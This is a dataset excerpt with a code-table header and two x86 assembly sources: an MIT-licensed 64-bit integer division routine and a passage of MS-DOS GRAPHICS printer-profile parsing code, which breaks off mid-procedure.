hexsha
stringlengths 40
40
| size
int64 6
1.05M
| ext
stringclasses 3
values | lang
stringclasses 1
value | max_stars_repo_path
stringlengths 4
232
| max_stars_repo_name
stringlengths 7
106
| max_stars_repo_head_hexsha
stringlengths 40
40
| max_stars_repo_licenses
listlengths 1
7
| max_stars_count
int64 1
33.5k
⌀ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
⌀ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
⌀ | max_issues_repo_path
stringlengths 4
232
| max_issues_repo_name
stringlengths 7
106
| max_issues_repo_head_hexsha
stringlengths 40
40
| max_issues_repo_licenses
listlengths 1
7
| max_issues_count
int64 1
37.5k
⌀ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
⌀ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
⌀ | max_forks_repo_path
stringlengths 4
232
| max_forks_repo_name
stringlengths 7
106
| max_forks_repo_head_hexsha
stringlengths 40
40
| max_forks_repo_licenses
listlengths 1
7
| max_forks_count
int64 1
12.6k
⌀ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
⌀ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
⌀ | content
stringlengths 6
1.05M
| avg_line_length
float64 1.16
19.7k
| max_line_length
int64 2
938k
| alphanum_fraction
float64 0
1
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
bea3ec58aa8fc4b67ff9745020e26b58416755e6
| 3,524
|
asm
|
Assembly
|
crt/bigdiv.asm
|
jstarks/yori
|
e1bf6604ab6862d54cdbcbb062f7a50f168c1308
|
[
"MIT"
] | 1,107
|
2018-04-02T18:04:08.000Z
|
2022-03-28T05:57:41.000Z
|
crt/bigdiv.asm
|
AzureMentor/yori
|
8e1db6eba6b6d70ed727017aa36384b7a1e7418c
|
[
"MIT"
] | 101
|
2018-10-20T18:27:59.000Z
|
2022-03-09T07:23:51.000Z
|
crt/bigdiv.asm
|
AzureMentor/yori
|
8e1db6eba6b6d70ed727017aa36384b7a1e7418c
|
[
"MIT"
] | 26
|
2018-12-27T03:37:32.000Z
|
2022-03-23T11:22:12.000Z
|
;
; BIGDIV.ASM
;
; Implementation for for signed and unsigned division of a 64 bit integer
; by a 32 bit integer.
;
; Copyright (c) 2017 Malcolm J. Smith
;
; Permission is hereby granted, free of charge, to any person obtaining a copy
; of this software and associated documentation files (the "Software"), to deal
; in the Software without restriction, including without limitation the rights
; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
; copies of the Software, and to permit persons to whom the Software is
; furnished to do so, subject to the following conditions:
;
; The above copyright notice and this permission notice shall be included in
; all copies or substantial portions of the Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
; THE SOFTWARE.
;
.386
.MODEL FLAT, C
.CODE
; LARGE_INTEGER [High EDX, Low EAX]
; _aulldiv(
; LARGE_INTEGER Dividend, [High ESP + 8, Low ESP + 4],
; LARGE_INTEGER Divisor [High ESP + 16, Low ESP + 12]
; );
public _aulldiv
_aulldiv proc
; This implementation doesn't support 64 bit divisors. If one is specified,
; fail.
mov eax, [esp + 16]
test eax, eax
jnz aulldiv_overflow
push ebx
; Divide the high 32 bits by the low 32 bits, save it in ebx,
; and leave the remainder in edx. Then, divide the low 32 bits
; plus the remainder, which must fit in a 32 bit value. To satisfy
; the calling convention, move ebx to edx, and return.
mov ecx, [esp + 16]
xor edx, edx
mov eax, [esp + 12]
div ecx
mov ebx, eax
mov eax, [esp + 8]
div ecx
mov edx, ebx
pop ebx
ret 16
aulldiv_overflow:
int 3
xor edx, edx
xor eax, eax
ret 16
_aulldiv endp
; LARGE_INTEGER [High EDX, Low EAX]
; _alldiv(
; LARGE_INTEGER Dividend, [High ESP + 8, Low ESP + 4],
; LARGE_INTEGER Divisor [High ESP + 16, Low ESP + 12]
; );
public _alldiv
_alldiv proc
push ebx
xor ebx,ebx
; Check if the divisor is positive or negative. If negative, increment
; ebx to indicate another negative number was found, and convert it to
; positive
alldiv_test_divisor:
mov edx, [esp + 20]
mov eax, [esp + 16]
bt edx, 31
jnc alldiv_positive_divisor
inc ebx
neg edx
neg eax
sbb edx, 0
; Push the now positive divisor onto the stack, thus moving esp
alldiv_positive_divisor:
push edx
push eax
; Check if the dividend is positive or negative. If negative, increment
; ebx to indicate another negative number was found, and convert it to
; positive
mov edx, [esp + 20]
mov eax, [esp + 16]
bt edx, 31
jnc alldiv_positive_dividend
inc ebx
neg edx
neg eax
sbb edx, 0
; Push the now positive dividend onto the stack, thus moving esp
alldiv_positive_dividend:
push edx
push eax
; Call the positive version of this routine
call _aulldiv
; Test if an odd number of negative numbers were found. If so, convert the
; result back to negative, otherwise return the result as is.
bt ebx, 0
jnc alldiv_return_positive
neg edx
neg eax
sbb edx, 0
alldiv_return_positive:
pop ebx
ret 16
_alldiv endp
END
| 23.810811
| 80
| 0.711975
|
42b05c5708185becc1b128a390fbf7ab89b0b249
| 43,896
|
asm
|
Assembly
|
cmd/graphics/grload3.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
cmd/graphics/grload3.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
cmd/graphics/grload3.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1988 - 1991
; * All Rights Reserved.
; */
;************************************************************
;**
;** NAME: Support for HP PCL printers added to GRAPHICS.
;**
;** DESCRIPTION: I restructured the procedure PARSE_GRAPHICS so it can handle
;** the keywords LOWCOUNT, HIGHCOUNT, the new keywords COUNT and
;** DATA, and the escape sequence bytes in any order.
;**
;** BUG NOTES: The following bug was fixed for the pre-release
;** version Q.01.02.
;**
;** BUG (mda003)
;** ------------
;**
;** NAME: GRAPHICS prints a CR & LF after each scan line unless it is
;** loaded twice.
;**
;** FILES & PROCEDURES AFFECTED: GRLOAD3.ASM - PARSE_GRAPHICS
;** GRCOMMON.ASM - END_PRT_LINE
;** GRSHAR.STR - N/A
;**
;** CAUSES: The local variables LOWCOUNT_FOUND, HIGHCOUNT_FOUND CR_FOUND and
;** LF_FOUND used for loading, were incorrectly being used as global
;** variables during printing.
;**
;** FIX: Created a new variable Printer_Needs_CR_LF in GRSHAR.STR, which
;** is used to determine in GRCOMMON.ASM if it's necessary to
;** manually send a CR & LF to the printer at print time. The
;** variable is set at load time in GRLOAD3.ASM, if the variables
;** Data_Found and Build_State are set.
;**
;** DOCUMENTATION NOTES: This version of GRLOAD3.ASM differs from the previous
;** version only in terms of documentation.
;**
;**
;************************************************************
PAGE ,132 ;AN000;
TITLE DOS - GRAPHICS Command - Profile Load Modules #2 ;AN000;
;AN000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000;
;; DOS - GRAPHICS Command
;;
;; ;AN000;
;; File Name: GRLOAD.ASM ;AN000;
;; ---------- ;AN000;
;; ;AN000;
;; Description: ;AN000;
;; ------------ ;AN000;
;; This file contains the modules used to load the ;AN000;
;; GRAPHICS profile into resident memory. ;AN000;
;; ;AN000;
;; ************* The EGA Dynamic Save Area will be built (by ;AN000;
;; ** NOTE ** CHAIN_INTERRUPTS in file GRINST.ASM) over top of these ;AN000;
;; ************* modules to avoid having to relocate this save just before ;AN000;
;; terminating. This is safe since the maximum memory used is ;AN000;
;; 288 bytes and the profile loading modules are MUCH larger than ;AN000;
;; this. So GRLOAD.ASM MUST be linked before GRINST.ASM and after ;AN000;
;; GRPRINT.ASM. ;AN000;
;; ;AN000;
;; ;AN000;
;; Documentation Reference: ;AN000;
;; ------------------------ ;AN000;
;; PLACID Functional Specifications ;AN000;
;; OASIS High Level Design ;AN000;
;; OASIS GRAPHICS I1 Overview ;AN000;
;; ;AN000;
;; Procedures Contained in This File: ;AN000;
;; ---------------------------------- ;AN000;
;; LOAD_PROFILE - Main module for profile loading ;AN000;
;; ;AN000;
;; Include Files Required: ;AN000;
;; ----------------------- ;AN000;
;; ?????????? - Externals for profile loading modules ;AN000;
;; ;AN000;
;; External Procedure References: ;AN000;
;; ------------------------------ ;AN000;
;; None ;AN000;
;; ;AN000;
;; Linkage Instructions: ;AN000;
;; --------------------- ;AN000;
;; Refer to GRAPHICS.ASM ;AN000;
;; ;AN000;
;; Change History: ;AN000;
;; --------------- ;AN000;
;; ;AN000;
;; ;AN000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000;
;; ;AN000;
;; ;AN000;
CODE SEGMENT PUBLIC 'CODE' BYTE ;; ;AN000;
;; ;AN000;
INCLUDE STRUC.INC ;; ;AN000;
INCLUDE GRINST.EXT ;; Bring in external declarations ;AN000;
;; for transient command processing ;AN000;
INCLUDE GRSHAR.STR ;; ;AN000;
INCLUDE GRMSG.EQU ;; ;AN000;
INCLUDE GRINST.EXT ;; ;AN000;
INCLUDE GRLOAD.EXT ;; ;AN000;
INCLUDE GRLOAD2.EXT ;; ;AN000;
INCLUDE GRPARSE.EXT ;; ;AN000;
INCLUDE GRPATTRN.STR ;; ;AN000;
INCLUDE GRPATTRN.EXT ;; ;AN000;
;; ;AN000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000;
;; ;AN000;
;; Public Symbols ;AN000;
;; ;AN000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000;
;; ;AN000;
PUBLIC PARSE_GRAPHICS ;; ;AN000;
PUBLIC PARSE_COLORSELECT ;; ;AN000;
PUBLIC PARSE_COLORPRINT ;; ;AN000;
PUBLIC PARSE_DARKADJUST ;; ;AN000;
PUBLIC LIMIT ;; ;AN000;
;; ;AN000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000;
;; ;AN000;
ASSUME CS:CODE,DS:CODE ;; ;AN000;
;; ;AN000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000;
;; ;AN000;
;; ;AN000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000;
;; ;AN000;
;; Profile Load Variables ;AN000;
;; ;AN000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000;
;; ;AN000;
NO EQU 0 ;; ;AN000;
YES EQU 1 ;; ;AN000;
;; ;AN000;
RESULT_BUFFER LABEL BYTE ;; general purpose result buffer ;AN000;
DB ? ;; operand type ;AN000;
RESULT_TAG DB 0 ;; operand tag ;AN000;
DW ? ;; pointer to synonym/keyword ;AN000;
RESULT_VAL DB ?,?,?,? ;; returned numeric value ;AN000;
;; ;AN000;
;; ;AN000;
;; ;AN000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000;
;; ;AN000;
;; Module Name: ;AN000;
;; PARSE_GRAPHICS ;AN000;
;; ;AN000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000;
;; ;AN000;
GRAPHICS_PARSE_PARMS LABEL WORD ;; Parser control blocks ;AN000;
DW GRAPHICS_P ;; ;AN000;
DB 2 ;; # of lists ;AN000;
DB 0 ;; # items in delimeter list ;AN000;
DB 1 ;; # items in end-of-line list ;AN000;
DB ';' ;; ';' used for comments ;AN000;
;; ;AN000;
GRAPHICS_P DB 0,1 ;; Required, max parms ;AN000;
DW GRAPHICS_P1 ;; ;AN000;
DB 0 ;; # Switches ;AN000;
DB 0 ;; # keywords ;AN000;
;; ;AN000;
GRAPHICS_P1 DW 0A000H ;; Numeric OR string ;AN000;
DW 2 ;; Capitalize ;AN000;
DW RESULT_BUFFER ;; Result buffer ;AN000;
DW GRAPHICS_P1V ;; Value list ;AN000;
DB 0 ;; Synomyms ;AN000;
;; ;AN000;
;; ;AN000;
GRAPHICS_P1V DB 3 ;; # of value lists ;AN000;
DB 1 ;; # of range numerics ;AN000;
DB 1 ;; tag ;AN000;
DD 0,255 ;; range 0..255 ;AN000;
DB 0 ;; 0 - no actual numerics ;AN000;
;\/ ~~mda(001) -----------------------------------------------------------------------
; Changed the # of string values from 2 to 4 because of the new
; keywords COUNT and DATA.
DB 4 ;; 4 STRING VALUES ;AN000;
;/\ ~~mda(001) -----------------------------------------------------------------------
DB 2 ;; tag ;AN000;
DW LOWCOUNT_STR ;; ptr ;AN000;
DB 3 ;; tag ;AN000;
DW HIGHCOUNT_STR ;; ptr ;AN000;
;\/ ~~mda(001) -----------------------------------------------------------------------
; Added the following valid string values because of the new
; keywords COUNT and DATA.
DB 4 ; tag
DW COUNT_STR ; ptr
DB 5 ; tag
DW DATA_STR ; ptr
COUNT_STR DB 'COUNT',0 ;
DATA_STR DB 'DATA',0 ;
;
;/\ ~~mda(001) -----------------------------------------------------------------------
;; ;AN000;
lowcount_str db 'LOWCOUNT',0 ;; ;AN000;
HIGHcount_str db 'HIGHCOUNT',0 ;; ;AN000;
;; ;AN000;
;; ;AN000;
LOWCOUNT_FOUND DB NO ;; ;AN000;
HIGHCOUNT_FOUND DB NO ;; ;AN000;
;\/ ~~mda(001) -----------------------------------------------------------------------
; Added the following so know when get COUNT and DATA.
COUNT_FOUND DB NO ;
DATA_FOUND DB NO ;
;
;/\ ~~mda(001) -----------------------------------------------------------------------
;; ;AN000;
;; ;AN000;
PARSE_GRAPHICS PROC ;; ;AN000;
;; ;AN000;
MOV CUR_STMT,GR ;; ;AN000;
.IF <BIT STMTS_DONE NAND DISP> ;; ;AN000;
OR STMT_ERROR,MISSING ;; ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
.IF <BUILD_STATE EQ YES> ;; ;AN000;
MOV DI,BLOCK_START ;; ;AN000;
MOV AX,BLOCK_END ;; ;AN000;
MOV [BP+DI].GRAPHICS_ESC_PTR,AX ;; Set pointer to GRAPHICS seq ;AN000;
MOV [BP+DI].NUM_GRAPHICS_ESC,0 ;; Init sequence size ;AN000;
MOV [BP+DI].NUM_GRAPHICS_ESC_AFTER_DATA,0 ;;~~mda(001) Init sequence size ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
MOV LOWCOUNT_FOUND,NO ;; Flags to indicate whether the LOW ;AN000;
MOV HIGHCOUNT_FOUND,NO ;; and HIGHCOUNT parms were found ;AN000;
MOV COUNT_FOUND,NO ;;~~mda(001) Flags to indicate the COUNT
MOV DATA_FOUND,NO ;;~~mda(001) and DATA parms were found ;AN000;
;;
OR STMTS_DONE,GR ;; Indicate GRAPHICS found ;AN000;
;; ;AN000;
MOV AX,PREV_STMT ;; Terminate any preceeding groups ;AN000;
OR GROUPS_DONE,AX ;; ;AN000;
;; ;AN000;
MOV DI,OFFSET GRAPHICS_PARSE_PARMS ;; parse parms ;AN000;
;; SI => the line to parse ;AN000;
XOR DX,DX ;; ;AN000;
.REPEAT ;; ;AN000;
XOR CX,CX ;; ;AN000;
CALL SYSPARSE ;; ;AN000;
;; ;AN000;
.IF <AX EQ 0> NEAR ;; If PARM is valid ;AN000;
MOV BL,RESULT_TAG ;; ;AN000;
.SELECT ;; ;AN000;
.WHEN <BL EQ 1> ;; Escape byte ;AN000;
PUSH AX ;; ;AN000;
;\/ ~~mda(001) -----------------------------------------------------------------------
; Changed the 1 to a 2 in the following instruction cause
; need an extra byte in the sequence to hold the tag that
; corresponds to esc seq., so during printing we know what to
; send and in what order.
MOV AX,2 ;; Add a byte to the sequence ;AN000;
;/\ ~~mda(001) -----------------------------------------------------------------------
CALL GROW_SHARED_DATA ;; Update block end ;AN000;
.IF <BUILD_STATE EQ YES> ;; ;AN000;
PUSH DI ;; ;AN000;
MOV DI,BLOCK_START ;; ;AN000;
;\/ ~~mda(001) -----------------------------------------------------------------------
; During printing we need to know how many things (things being
; esc #s, count, lowcount, or highcount) come before
; the data and how many things go after the data, - not just
; how many bytes are in the sequence. So check if dealing with
; things that come before the data.
.IF <DATA_FOUND EQ NO> ; Bump # of things in seq. that
INC [BP+DI].NUM_GRAPHICS_ESC ;; come before data.
.ELSE ; Bump # of things in seq. that
INC [BP+DI].NUM_GRAPHICS_ESC_AFTER_DATA ; go after data
.ENDIF
;/\ ~~mda(001) -----------------------------------------------------------------------
MOV DI,BLOCK_END ;; ;AN000;
MOV BYTE PTR [BP+DI-2],ESC_NUM_CODE;
MOV AL,RESULT_VAL ;; Get esc byte from result buffer ;AN000;
MOV [BP+DI-1],AL ;; Store at end of sequence ;AN000;
POP DI ;; ;AN000;
.ENDIF ;; ;AN000;
POP AX ;; ;AN000;
.WHEN <BL EQ 2> ;; LOWCOUNT ;AN000;
CMP LOWCOUNT_FOUND,NO ;; ~~mda(001) If no LOWCOUNT or COUNT ;AN000;
JNE LOWCNT_ERROR ; ~~mda(001) then proceed. Not using
CMP COUNT_FOUND,NO ; ~~mda(001) .IF macro cause jump is
JNE LOWCNT_ERROR ; ~~mda(001) out of range
MOV LOWCOUNT_FOUND,YES ;; ;AN000;
PUSH AX ;; ;AN000;
MOV AX,2 ;; ~~mda(001) Changed a 1 to a 2 cause ;AN000;
; ~~mda(001) need extra byte for tag
CALL GROW_SHARED_DATA ;; Update block end ;AN000;
.IF <BUILD_STATE EQ YES> ;; ;AN000;
PUSH DI ;; ;AN000;
MOV DI,BLOCK_START ;; ;AN000;
;\/ ~~mda(001) -----------------------------------------------------------------------
.IF <DATA_FOUND EQ NO> ; Bump # of things in seq. that
INC [BP+DI].NUM_GRAPHICS_ESC ;; come before data.
.ELSE ; Bump # of things in seq. that
INC [BP+DI].NUM_GRAPHICS_ESC_AFTER_DATA ; go after data
.ENDIF
;/\ ~~mda(001) -----------------------------------------------------------------------
MOV DI,BLOCK_END ;; ~~mda(001) Put BLOCK_END in DI not AX.;AN000;
;\/ ~~mda(001) -----------------------------------------------------------------------
; No longer need following 3 instruction cause will have COUNT
; at a known fixed location in the SHARED_DATA_AREA.
;
;; DEC AX ;; Save pointer to low byte ;AN000;
;; MOV [BP+DI].LOW_BYT_COUNT_PTR,AX ;AN000;
;; MOV DI,AX ;; ;AN000;
;/\ ~~mda(001) -----------------------------------------------------------------------
MOV BYTE PTR [BP+DI-2],LOWCOUNT_CODE;
MOV BYTE PTR[BP+DI-1],0 ;; ~~mda(001) Added the -1. Store 0 in ;AN000;
POP DI ;; in place of count ;AN000;
.ENDIF ;; ;AN000;
POP AX ;; ;AN000;
JMP CK_NEXT_PARM ;~~mda(001) Added jump since can't use .IF macro
LOWCNT_ERROR: ;;~~mda(001) Added label since can't use .IF macro
OR STMT_ERROR,INVALID ;; Duplicate LOWCOUNT parms ;AN000;
MOV PARSE_ERROR,YES ;;~~mda(001) or combo of LOWCOUNT & COUNT;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.WHEN <BL EQ 3> ;; HIGHCOUNT ;AN000;
CMP HIGHCOUNT_FOUND,NO ;; ~~mda(001) If no HIGHCOUNT or COUNT ;AN000;
JNE HIGHCNT_ERROR ; ~~mda(001) then proceed. Not using
CMP COUNT_FOUND,NO ; ~~mda(001) .IF macro cause jump is
JNE HIGHCNT_ERROR ; ~~mda(001) out of range
MOV HIGHCOUNT_FOUND,YES ;; ;AN000;
PUSH AX ;; ;AN000;
MOV AX,2 ;; ~~mda(001) Changed a 1 to a 2 cause ;AN000;
; ~~mda(001) need extra byte for tag
CALL GROW_SHARED_DATA ;; Update block end ;AN000;
.IF <BUILD_STATE EQ YES> ;; ;AN000;
PUSH DI ;; ;AN000;
MOV DI,BLOCK_START ;; ;AN000;
;\/ ~~mda(001) -----------------------------------------------------------------------
.IF <DATA_FOUND EQ NO> ; Bump # of things in seq. that
INC [BP+DI].NUM_GRAPHICS_ESC ;; come before data.
.ELSE ; Bump # of things in seq. that
INC [BP+DI].NUM_GRAPHICS_ESC_AFTER_DATA ; go after data
.ENDIF
;/\ ~~mda(001) -----------------------------------------------------------------------
MOV DI,BLOCK_END ;; ~~mda(001) Put BLOCK_END in DI not AX. ;AN000;
;\/ ~~mda(001) -----------------------------------------------------------------------
; No longer need following 3 instructions cause will have COUNT
; at a known fixed location in the SHARED_DATA_AREA.
;
;; DEC AX ;; Save pointer to low byte ;AN000;
;; MOV [BP+DI].LOW_BYT_COUNT_PTR,AX ;AN000;
;; MOV DI,AX ;; ;AN000;
;/\ ~~mda(001) -----------------------------------------------------------------------
MOV BYTE PTR [BP+DI-2],HIGHCOUNT_CODE;
MOV BYTE PTR[BP+DI-1],0 ;; ~~mda(001) Added the -1. Store 0 in ;AN000;
POP DI ;; place of count ;AN000;
.ENDIF ;; ;AN000;
POP AX ;; ;AN000;
JMP CK_NEXT_PARM ;~~mda(001) Added jump since can't use .IF macro
HIGHCNT_ERROR: ;;~~mda(001) Added label cause can't use .IF macro. ;AN000;
OR STMT_ERROR,INVALID ;; Duplicate HIGHCOUNT parms
MOV PARSE_ERROR,YES ;; ~~mda(001) or combo of HIGHCOUNT and ;AN000;
MOV BUILD_STATE,NO ;; ~~mda(001) COUNT parms ;AN000;
;\/ ~~mda(001) -----------------------------------------------------------------------
; Added the following two cases for when have COUNT or DATA on
; GRAPHICS line.
.WHEN <BL EQ 4> ;; COUNT
.IF <COUNT_FOUND EQ NO> AND ; If haven't found a type of count
.IF <LOWCOUNT_FOUND EQ NO> AND;;then proceed.
.IF <HIGHCOUNT_FOUND EQ NO> ;
;
MOV COUNT_FOUND,YES ;;
PUSH AX ;;
MOV AX,2 ;; Add 2 bytes to the seq. cause
; need extra byte for tag
CALL GROW_SHARED_DATA ;; Update block end
.IF <BUILD_STATE EQ YES> ;;
PUSH DI ;;
MOV DI,BLOCK_START ;;
.IF <DATA_FOUND EQ NO> ; Bump # of things in seq. that
INC [BP+DI].NUM_GRAPHICS_ESC ;; come before data.
.ELSE ; Bump # of things in seq. that
INC [BP+DI].NUM_GRAPHICS_ESC_AFTER_DATA ; go after data
.ENDIF
MOV DI,BLOCK_END ;;
MOV BYTE PTR [BP+DI-2],COUNT_CODE;
MOV BYTE PTR[BP+DI-1],0 ;; Store 0 in place of count
POP DI ;;
.ENDIF ;;
POP AX ;;
.ELSE ;;
OR STMT_ERROR,INVALID ;; Duplicate COUNT parms or combo of
MOV PARSE_ERROR,YES ;; COUNT, LOWCOUNT or HIGHCOUNT parms
MOV BUILD_STATE,NO ;;
.ENDIF ;;
.WHEN <BL EQ 5> ;; DATA
.IF <DATA_FOUND EQ NO> ; If haven't found data then proceed
MOV DATA_FOUND,YES ;;
PUSH AX ;;
MOV AX,2 ;; Add 2 bytes to the seq. cause
; need extra byte for tag
CALL GROW_SHARED_DATA ;; Update block end
.IF <BUILD_STATE EQ YES> ;;
PUSH DI ;;
MOV DI,BLOCK_END ;;
MOV BYTE PTR [BP+DI-2],DATA_CODE;
MOV BYTE PTR[BP+DI-1],0 ;; Store 0 in place of data
POP DI ;;
.ENDIF ;;
POP AX ;;
.ELSE ;;
OR STMT_ERROR,INVALID ;; Duplicate DATA parms
MOV PARSE_ERROR,YES ;;
MOV BUILD_STATE,NO ;;
.ENDIF ;;
;/\ ~~mda(001) -----------------------------------------------------------------------
.ENDSELECT ;; ;AN000;
.ELSE NEAR ;; ;AN000;
.IF <AX NE -1> ;; ;AN000;
OR STMT_ERROR,INVALID ;; parm is invalid ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ENDIF ;; ;AN000;
.ENDIF ;; ;AN000;
CK_NEXT_PARM: ;~~mda(001) Added label since can't use
;~~mda(001) .IF macro.
.UNTIL <AX EQ -1> NEAR ;; ;AN000;
;\/ ~~mda(003) -----------------------------------------------------------------------
.IF <DATA_FOUND EQ NO> ;; We have a printer that requires a ;AN000;
.IF <BUILD_STATE EQ YES> ;;
MOV [BP].PRINTER_NEEDS_CR_LF,YES; CR, LF to be sent to it
.ENDIF ;;
.ENDIF ;;
;/\ ~~mda(003) -----------------------------------------------------------------------
;; ;AN000;
.IF <LOWCOUNT_FOUND EQ NO> OR ;; ;AN000;
.IF <HIGHCOUNT_FOUND EQ NO> ;; Missing LOWCOUNT/HIGHCOUNT parms ;AN000;
.IF <COUNT_FOUND EQ NO> ;; ~~mda(001) or missing COUNT parm
OR STMT_ERROR,INVALID ;; ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ENDIF
.ENDIF ;; ;AN000;
RET ;; ;AN000;
;; ;AN000;
PARSE_GRAPHICS ENDP ;; ;AN000;
;; ;AN000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000;
;; ;AN000;
;; Module Name: ;AN000;
;; PARSE_COLORSELECT ;AN000;
;; ;AN000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000;
;; ;AN000;
COLORSELECT_PARSE_PARMS LABEL WORD ;; Parser control blocks ;AN000;
DW COLORSELECT_P ;; ;AN000;
DB 2 ;; # of lists ;AN000;
DB 0 ;; # items in delimeter list ;AN000;
DB 1 ;; # items in end-of-line list ;AN000;
DB ';' ;; ';' used for comments ;AN000;
;; ;AN000;
;; ;AN000;
COLORSELECT_P LABEL BYTE ;; ;AN000;
CS_NUM_REQ DB 1,1 ;; Required, max parms ;AN000;
COLORSELECT_PARM LABEL WORD ;; ;AN000;
CS_POSITIONAL DW ? ;; Pointer to our positional ;AN000;
DB 0 ;; # Switches ;AN000;
DB 0 ;; # keywords ;AN000;
;; ;AN000;
COLORSELECT_P0 DW 2000H ;; sTRING - display type ;AN000;
DW 2 ;; Capitalize ;AN000;
DW RESULT_BUFFER ;; Result buffer ;AN000;
DW COLORSELECT_P0V ;; Value list ;AN000;
DB 0 ;; Synomyms ;AN000;
;; ;AN000;
COLORSELECT_P0V DB 0 ;; # of value lists ;AN000;
; DB 0 ;; # of range numerics ;AN000;
; DB 0 ;; # of discrete numerics ;AN000;
; DB 1 ;; # of strings ;AN000;
; DB 1 ;; tag ;AN000;
;COLORSELECT_P0V1 DW ? ;; string ;AN000;
;; ;AN000;
COLORSELECT_P1 DW 8001H ;; Numeric - escape sequence byte ;AN000;
DW 0 ;; No Capitalize ;AN000;
DW RESULT_BUFFER ;; Result buffer ;AN000;
DW COLORSELECT_P1V ;; Value list ;AN000;
DB 0 ;; Synomyms ;AN000;
;; ;AN000;
COLORSELECT_P1V DB 1 ;; # of value lists ;AN000;
DB 1 ;; # of range numerics ;AN000;
DB 1 ;; tag ;AN000;
DD 1,255 ;; range 1..255 ;AN000;
;; ;AN000;
;; ;AN000;
;; ;AN000;
SEQ_LENGTH_PTR DW 0 ;; Number of colorselect statements ;AN000;
;; ;AN000;
;; ;AN000;
;; ;AN000;
PARSE_COLORSELECT PROC ;; ;AN000;
;; ;AN000;
MOV CUR_STMT,COLS ;; ;AN000;
.IF <BIT STMTS_DONE NAND PRT> ;; PRINTER statemnet must have been ;AN000;
OR STMT_ERROR,MISSING ;; processed ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
.IF <BIT STMTS_DONE AND DISP+COLP> ;; DISDPLAYMODE and COLORPRINT stmts ;AN000;
OR STMT_ERROR,SEQUENCE ;; should NOT have been processed ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
.IF <BIT GROUPS_DONE AND COLS> ;; Check for a previous group of ;AN000;
OR STMT_ERROR,SEQUENCE ;; COLORSELECTS within this PTD ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
.IF <BIT STMTS_DONE NAND COLS> ;; If first COLORSELECT... ;AN000;
MOV NUM_BANDS,0 ;; Init number of COLORSELECT bands ;AN000;
.IF <BUILD_STATE EQ YES> ;; Update count and pointer in the ;AN000;
MOV AX,BLOCK_END ;; Shared Data Area header ;AN000;
MOV [BP].COLORSELECT_PTR,AX ;; Set pointer to COLORSELECT info ;AN000;
MOV [BP].NUM_PRT_BANDS,0 ;; Init NUMBER OF COLORSELECTS ;AN000;
.ENDIF ;; ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
OR STMTS_DONE,COLS ;; Indicate found ;AN000;
.IF <PREV_STMT NE COLS> THEN ;; Terminate any preceeding groups ;AN000;
MOV AX,PREV_STMT ;; except for COLORSELECT ;AN000;
OR GROUPS_DONE,AX ;; ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
MOV AX,1 ;; Make room for sequence length field ;AN000;
CALL GROW_SHARED_DATA ;; ;AN000;
.IF <BUILD_STATE EQ YES> ;; ;AN000;
INC [BP].NUM_PRT_BANDS ;; Inc number of selects ;AN000;
MOV DI,BLOCK_END ;; ;AN000;
